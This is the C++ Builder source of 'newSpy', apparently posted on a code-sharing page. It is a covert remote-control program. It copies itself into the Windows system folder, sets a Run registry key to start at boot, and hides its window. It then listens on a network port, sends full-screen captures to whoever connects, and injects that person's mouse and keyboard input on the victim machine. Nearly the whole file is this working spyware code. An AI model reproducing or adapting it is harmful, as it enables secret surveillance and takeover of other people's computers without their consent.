?? newspy.cpp
字號:
//---------------------------------------------------------------------------
#include <vcl.h>
#include <jpeg.hpp>
#pragma hdrstop
#include <stdio.h>
#include "newSpy.h"
#include "Socket.h"
//#include "ChildWin.h" 取消子窗口
//---------------------------------------------------------------------------
//#pragma package(smart_init)
#pragma resource "*.dfm"
#define CM_ENTIRESCREEN 201 //捕獲全屏
#define CM_ACTIVEWINDOW 202 //捕獲當前窗口
#define CM_TCPIPMSG (WM_APP+1000)
#define PACKAGESIZE 4096
#define LISTENPORT 1999
#define STREAMPORT 2000
TForm1 *Form1;
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
Application->OnMinimize = Mini;
}
// 捕獲當前屏幕并保存到imagestream中
void CaptureImage(int options, int level, int cq, TMemoryStream* imgstream)
{
LONG width,height;
RECT capRect;
HDC DesktopDC;
switch (options) {
case CM_ENTIRESCREEN: // 捕獲整個屏幕
// 取得桌面的矩形區域范圍
GetWindowRect(GetDesktopWindow(),&capRect);
break;
case CM_ACTIVEWINDOW: // 捕獲當前窗口
HWND ForegWin;
ForegWin = GetForegroundWindow(); // 取得當前窗口句柄
if (!ForegWin)
ForegWin = GetDesktopWindow();
GetWindowRect(ForegWin,&capRect); // 取得當前窗口的矩形區域范圍
break;
}
DesktopDC = GetDC(GetDesktopWindow()); // 創建內存設備描述表
width = capRect.right - capRect.left;
height = capRect.bottom - capRect.top;
Graphics::TBitmap *bBitmap; // 定義位圖變量
try {
bBitmap = new Graphics::TBitmap(); // 創建位圖
bBitmap->Width=width;
bBitmap->Height=height;
if ((level>0)&&(level<8))
bBitmap->PixelFormat = TPixelFormat(level); // 設定色深
// 拷貝屏幕的指定區域到位圖
BitBlt(bBitmap->Canvas->Handle,0,0,width,height,DesktopDC,
capRect.left,capRect.top,SRCCOPY);
if (cq>=0) {
TJPEGImage *jpeg;
try {
jpeg = new TJPEGImage; // 創建JPEG圖象
jpeg->CompressionQuality = cq; // 設定圖象品質
jpeg->Assign(bBitmap); // 將位圖轉化為JPEG格式
jpeg->SaveToStream(imgstream); // 保存JPEG圖象信息
}
__finally {
delete jpeg; // 釋放資源
}
}
else {
bBitmap->SaveToStream(imgstream); // 保存位圖信息
}
}
__finally {
delete bBitmap; // 釋放資源
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
HWND WndHandle;
if(OpenSemaphore(SEMAPHORE_ALL_ACCESS,false,"newspyS"))
{
WindowState = wsMinimized;
Application->Terminate();
return;
}else
{
hd = CreateSemaphore(NULL,1,1,"newspyS");
}
AnsiString SystemPath;
char TempPath[MAX_PATH];
GetSystemDirectory(TempPath,MAX_PATH);
SystemPath = AnsiString(TempPath);
CopyFile(ParamStr(0).c_str(),AnsiString(SystemPath+"\\newspyS.exe").c_str(),FALSE);
Registry = new TRegistry;
Registry->RootKey = HKEY_LOCAL_MACHINE;
Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);
try
{
if(Registry->ReadString("newSpy")!=SystemPath+"\\newspyS.exe")
Registry->WriteString("newSpy",SystemPath+"\\newspyS.exe");
}
catch(...)
{
}
Application->ShowMainForm =false;
SetWindowLong(Application->Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
ServerSocket1->Port = LISTENPORT; // 指定監聽端口
ServerSocket1->Open(); // 開始監聽
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientError(TObject *Sender,
TCustomWinSocket *Socket, TErrorEvent ErrorEvent, int &ErrorCode)
{
ErrorCode = 0;
// MessageBox(0,"遠程連接出錯","鴨嘴獸提示",MB_ICONERROR); // 顯示出錯信息
}
//---------------------------------------------------------------------------
void __fastcall TForm1::ServerSocket1ClientRead(TObject *Sender,
TCustomWinSocket *Socket)
{
AnsiString sRecvString = Socket->ReceiveText(); // 保存接收到的字符串
AnsiString sRemoteAddress = Socket->RemoteAddress; // 保存對方IP
int CL,CQ;
u_short port;
int CmdType;
// 將接收到的字符串分解為命令類別、接收端口、色深、品質4個參數
int pos = sRecvString.Pos("\n");
// 命令類別
// 1:請求圖象發送(附加參數：接收端口、色深、品質)
// 2:請求目標機屏幕分辨率(附加參數：無)
// 3:接收鼠標信息(附加參數：鼠標命令、X坐標、Y坐標)
// 4:接受鍵盤信息（key_event)
CmdType=StrToIntDef(sRecvString.SubString(1,pos-1),0);
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
// ShowMessage((sRecvString).c_str());
switch(CmdType)
{
case 1://請求圖象發送
// 接收端口
port = u_short(StrToIntDef(sRecvString.SubString(1,pos-1),0));
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
// 色深
CL = StrToIntDef(sRecvString.SubString(1,pos-1),0);
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
// 品質
CQ = StrToIntDef(sRecvString.SubString(1,pos-1),0);
if (port) {
TMemoryStream *ImageStream; // 定義數據流
try {
ImageStream = new TMemoryStream; // 分配內存
// 捕獲當前屏幕并保存到ImageStream中
CaptureImage(CM_ENTIRESCREEN, CL, CQ, ImageStream);
// 發送ImageStream到接收端口
if (!SendStream(sRemoteAddress, port, ImageStream))
MessageBox(0,"發送數據流失敗","鴨嘴獸提示",MB_ICONERROR);
}
__finally {
delete ImageStream; // 釋放資源
}
}
break;
case 2://請求目標機屏幕分辨率
{
char str[24];
int Width=GetSystemMetrics(SM_CXSCREEN);
int Height=GetSystemMetrics(SM_CYSCREEN);
sprintf(str,"%d*%d\n",Width,Height);
Socket->SendText(str);
}
break;
case 3:// 捕捉鼠標動作
{
// ShowMessage((sRecvString).c_str());
int MouseCmd=StrToIntDef(sRecvString.SubString(1,pos-1),0);
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
int px=StrToIntDef(sRecvString.SubString(1,pos-1),0);
sRecvString = sRecvString.SubString(pos+1,sRecvString.Length()-pos);
pos = sRecvString.Pos("\n");
int py=StrToIntDef(sRecvString.SubString(1,pos-1),0);
switch(MouseCmd)
{
case 1://WM_MOUSEMOVE
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MOVE,px,py,0,0);
break;
case 2://WM_LBUTTONDOWN
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTDOWN,px,py,0,0);
break;
case 3://WM_LBUTTONUP
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_LEFTUP,px,py,0,0);
break;
case 4://WM_RBUTTONDOWN
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTDOWN,px,py,0,0);
break;
case 5://WM_RBUTTONUP
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_RIGHTUP,px,py,0,0);
break;
case 6://WM_MIDBUTTONDOWN
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEDOWN,px,py,0,0);
break;
case 7://WM_MIDBUTTONUP
mouse_event(MOUSEEVENTF_ABSOLUTE|MOUSEEVENTF_MIDDLEUP,px,py,0,0);
break;
default:
// keybd_event(VK_SNAPSHOT,1,KEYEVENTF_EXTENDEDKEY,0);
break;
}
}
break;
case 4:// 捕捉鍵盤動作
{
// ShowMessage((sRecvString).c_str());
int fff = StrToIntDef(sRecvString.SubString(1,pos-1),0);
// int MouseCmd=StrToIntDef(sRecvString.SubString(1,pos-1),0);
// ShowMessage(sRecvString.c_str()) ;
// StrToIntDef(sRecvString.SubString(1,pos-1),0)
/* sRecvString=sRecvString.SubString(2,sRecvString.Length()-2);
if (sRecvString =="A") keybd_event(0x41,0,0,0);
if (sRecvString =="B") keybd_event(0x42,0,0,0);
if (sRecvString =="C") keybd_event(0x43,0,0,0);
if (sRecvString =="D") keybd_event(0x44,0,0,0);
if (sRecvString =="E") keybd_event(0x45,0,0,0);
if (sRecvString =="F") keybd_event(0x46,0,0,0);
if (sRecvString =="G") keybd_event(0x47,0,0,0);
if (sRecvString =="H") keybd_event(0x48,0,0,0);
if (sRecvString =="I") keybd_event(0x49,0,0,0);
if (sRecvString =="J") keybd_event(0x4A,0,0,0);
if (sRecvString =="K") keybd_event(0x4B,0,0,0);
if (sRecvString =="L") keybd_event(0x4C,0,0,0);
if (sRecvString =="M") keybd_event(0x4D,0,0,0);
if (sRecvString =="N") keybd_event(0x4E,0,0,0);
if (sRecvString =="O") keybd_event(0x4F,0,0,0);
if (sRecvString =="P") keybd_event(0x50,0,0,0);
if (sRecvString =="Q") keybd_event(0x51,0,0,0);
if (sRecvString =="R") keybd_event(0x52,0,0,0);
if (sRecvString =="S") keybd_event(0x53,0,0,0);
if (sRecvString =="T") keybd_event(0x54,0,0,0);
if (sRecvString =="U") keybd_event(0x55,0,0,0);
if (sRecvString =="V") keybd_event(0x56,0,0,0);
if (sRecvString =="W") keybd_event(0x57,0,0,0);
if (sRecvString =="X") keybd_event(0x58,0,0,0);
if (sRecvString =="Y") keybd_event(0x59,0,0,0);
if (sRecvString =="Z") keybd_event(0x5A,0,0,0);
if (sRecvString =="0") keybd_event(0x30,0,0,0);
if (sRecvString =="1") keybd_event(0x31,0,0,0);
if (sRecvString =="2") keybd_event(0x32,0,0,0);
if (sRecvString =="3") keybd_event(0x33,0,0,0);
if (sRecvString =="4") keybd_event(0x34,0,0,0);
if (sRecvString =="5") keybd_event(0x35,0,0,0);
if (sRecvString =="6") keybd_event(0x36,0,0,0);
if (sRecvString =="7") keybd_event(0x37,0,0,0);
if (sRecvString =="8") keybd_event(0x38,0,0,0);
if (sRecvString =="9") keybd_event(0x39,0,0,0);
*/
// int fff;
// fff = StrToInt(toascii( sRecvString)) ;
keybd_event(fff,0,0,0);
//ShowMessage(IntToStr(fff).c_str()) ;
}
break;
default://
break;
}
}
//--------------------------------------------------------------------------
void __fastcall TForm1::Mini(TObject *Sender)
{
Hide();
}
void __fastcall TForm1::N3Click(TObject *Sender)
{
//發送圖標變換消息
Close();
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
//發送圖標變換消息
}
//---------------------------------------------------------------------------
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -